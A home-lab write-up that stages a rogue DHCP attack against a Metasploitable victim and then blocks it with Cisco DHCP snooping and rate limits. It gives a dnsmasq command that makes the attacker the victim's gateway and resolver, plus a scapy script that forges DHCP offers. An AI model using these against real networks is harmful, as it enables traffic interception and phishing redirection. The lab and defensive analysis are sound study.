Lab Notes
Lab 02

Lab 02 — Rogue DHCP Server & DHCP Snooping

2026-09-24Cisco Catalyst 2960-X · OPNsense · Proxmox
lablayer2dhcpdhcp-snoopingmitmproxmoxciscosecurity-plus

Result

Stood up an unauthorized DHCP server on an isolated VLAN, beat the legitimate server in the lease race, and took a full man-in-the-middle position over a victim host — without touching ARP at all. Then defended it with Cisco DHCP snooping and mapped the control's two distinct behaviors.

The attack captured three vectors at once. The victim received an address from the rogue pool, the attacker as its default gateway, and the attacker as its DNS resolver — through an entirely normal DHCP exchange. Nothing about the victim's configuration looks wrong from the victim's side. It asked a question and got a valid answer.

The defense produced a result I hadn't predicted:

Stage Configuration Outcome
1 Snooping enabled Rogue server never received the request. Nothing to answer.
2 Forged server messages sent unprompted Every packet dropped and logged. Port stayed up.
3 Snooping rate limit added Port err-disabled within one second. Attacker fully isolated.

Stage 1 is the interesting one. With snooping enabled the switch stops flooding DHCP frames through the VLAN and forwards client messages toward trusted ports only. The rogue server sat on an untrusted port and never saw the request. No violation was logged because no violation occurred — the control neutralized the attack by denying the attacker information, before any enforcement action was needed.

Forcing the enforcement path required crafting server messages by hand, since a normal DHCP server only responds and had nothing to respond to.


Companion to Lab 01 — ARP Poisoning & Dynamic ARP Inspection

Same on-path position, reached by a completely different primitive.

Lab 01 — ARP poisoning Lab 02 — Rogue DHCP
Primitive Forge ARP replies Answer DHCP faster than the real server
Victim's view ARP table silently altered Normal lease, normal process
Requires Continuous forged traffic One winning race
Vectors gained Gateway Gateway and DNS
Control Dynamic ARP Inspection DHCP Snooping
Mechanism Inspect and drop per packet Trusted-port enforcement
Extra effect — Attacker starved of the request

DHCP snooping is also the dependency for DAI — the binding table DAI validates against is what snooping builds. Defending one attack was a prerequisite for defending the other.


Environment

Role Host Detail
Switch Cisco WS-C2960X-48FPD-L (lab-sw01) IOS 15.2(7)E
Gateway / legitimate DHCP OPNsense (lab-fw01) 10.0.30.1, pool .100–.200
Attacker Kali (lab-kali01) Dedicated port Gi1/0/19, untrusted
Victim Metasploitable 2 (lab-victim01) Behind hypervisor uplink Gi1/0/46

The attacker reaches the switch through a physical NIC port passed through to the VM — the topology change from Lab 01 — ARP Poisoning & Dynamic ARP Inspection, and a prerequisite here too. It has only that path; its virtual NIC is disconnected.


Method

Part 1 — The rogue server

Snooping and DAI were disabled on the VLAN first, so the attack could be observed working before anything defended against it.

sudo dnsmasq -d -i eth1 --port=0 \
  --dhcp-range=10.0.30.220,10.0.30.230,12h \
  --dhcp-option=3,<attacker-ip> \
  --dhcp-option=6,<attacker-ip>

Option 3 is the default gateway, option 6 the DNS server — both pointed at the attacker. --port=0 disables dnsmasq's own DNS listener, since port 53 was already bound; the lease still advertises the attacker as resolver, which is the part that matters.

Forcing the victim to renew starts a genuine race against the legitimate server:

sudo dhclient -r eth0 && sudo dhclient eth0
route -n

The legitimate server won rounds one and two. The attacker won round three.

Intermittency is realistic rather than a flaw in the setup. An attacker only needs to win occasionally, and clients renew constantly.

Once won, the victim held an address from the rogue pool with the attacker as both gateway and resolver.

The DNS vector is arguably worse than the gateway. Even if traffic reached the real gateway, controlling resolution decides what hostnames map to — which is how a client gets steered to a cloned login page without routing being touched at all.

Part 2 — Snooping starves the attacker

conf t
ip dhcp snooping vlan 30
end

The uplink toward the legitimate server is trusted; everything else is untrusted by default. Untrusted ports don't appear in show ip dhcp snooping — only explicitly configured ones do, which makes the trust table read as sparser than it is.

Renewing on the victim produced nothing on the attacker:

sudo tcpdump -i eth1 -n "port 67 or port 68"

No DISCOVER captured. The rogue server logged no request and sent no offer. The victim leased normally from the legitimate server. No violation appeared in the switch log, because none occurred.

Part 3 — Forcing the enforcement path

A normal DHCP server only responds, so it can't produce a violation once it's been starved of requests. Crafting an unsolicited offer with scapy:

from scapy.all import *

pkt = (Ether(dst="ff:ff:ff:ff:ff:ff") /
       IP(src=ATTACKER, dst="255.255.255.255") /
       UDP(sport=67, dport=68) /
       BOOTP(op=2, yiaddr=OFFERED, siaddr=ATTACKER, chaddr=CLIENT_MAC) /
       DHCP(options=[("message-type","offer"), ("server_id",ATTACKER),
                     ("subnet_mask","255.255.255.0"), ("router",ATTACKER),
                     ("name_server",ATTACKER), ("lease_time",43200), "end"]))

sendp(pkt, iface="eth1", count=10, inter=0.2)

op=2 is BOOTREPLY — what marks the frame as server-side traffic and makes it a violation on an untrusted port.

Twenty packets across two runs, twenty drops counted, each logged:

%DHCP_SNOOPING-5-DHCP_SNOOPING_UNTRUSTED_PORT: DHCP_SNOOPING drop message on
untrusted port, message type: DHCPOFFER, MAC sa: <attacker>

The port stayed up. Dropping is snooping's default; isolation requires a rate limit, which is separate configuration:

conf t
interface GigabitEthernet1/0/19
 ip dhcp snooping limit rate 5
end

Re-running the script fired the full enforcement chain inside one second:

%DHCP_SNOOPING-5-DHCP_SNOOPING_UNTRUSTED_PORT: ... DHCPOFFER, MAC sa: <attacker>
%DHCP_SNOOPING-4-DHCP_SNOOPING_ERRDISABLE_WARNING: received 5 DHCP packets on Gi1/0/19
%DHCP_SNOOPING-4-DHCP_SNOOPING_RATE_LIMIT_EXCEEDED: interface Gi1/0/19 receiving more than threshold
%PM-4-ERR_DISABLE: dhcp-rate-limit error detected on Gi1/0/19, putting Gi1/0/19 in err-disable state
%LINEPROTO-5-UPDOWN: Line protocol on Gi1/0/19 changed state to down

Findings

Detection and containment need separate configuration

Confirmed here on a second control, matching the DAI behavior in Lab 01 — ARP Poisoning & Dynamic ARP Inspection.

Detection Containment
Trigger Any server message on an untrusted port Rate threshold exceeded
Action Drop packet, log Err-disable port
Config ip dhcp snooping vlan 30 ip dhcp snooping limit rate N

Without a rate limit an attacker can send forged offers indefinitely — every one dropped, never isolated. That is a real configuration gap, and the same gap exists on DAI.

Err-disable is loud, and that cuts both ways

When the port went down, the attacker's desktop immediately raised a "disconnected from network" notification. Because it had only the passed-through port, err-disable took it fully off the network rather than just off the VLAN.

There's a genuine argument for drop-only on a monitored network and err-disable where containment beats intelligence. It also isolates everything else on that port, which is why the rate limit belongs on a dedicated access port rather than a shared hypervisor uplink.

The same attack is a DoS or a MITM, attacker's choice

With IP forwarding off, the victim's off-subnet traffic black-holes at the attacker and pings simply time out. Turning forwarding on makes it a transparent interception instead. No DHCP reconfiguration is needed to switch between them.

Attack durability is a function of lease time

Initial testing used a two-minute lease. On expiry the legitimate server won the renewal and the victim silently returned to the correct gateway — the MITM evaporated with no obvious cause, and the symptom was simply that traffic stopped appearing on the attacker.

Real attacks use long leases to hold position. The diagnostic habit that falls out of it: when an established MITM goes quiet, check the victim's current gateway before assuming something broke.

The attacker's own address has to be static

This broke the attack mid-exercise in a way that wasn't obvious. The attacker held its address by lease from the legitimate server. When that lease renewed it was assigned a different address, while its own DHCP server was still advertising the old one as the gateway — an address nobody held. Victims routed into a black hole and the attacker's capture showed nothing at all.

A rogue DHCP server that advertises itself by IP fails when its own IP changes. Real tooling uses a static address out of necessity, not sophistication.

Worth noting the side effect: going static removes the attacker's DHCP snooping binding. Irrelevant to snooping, which cares only which port sends server messages — but DAI would then drop the attacker's legitimate ARP until a binding is re-added manually.


What this demonstrates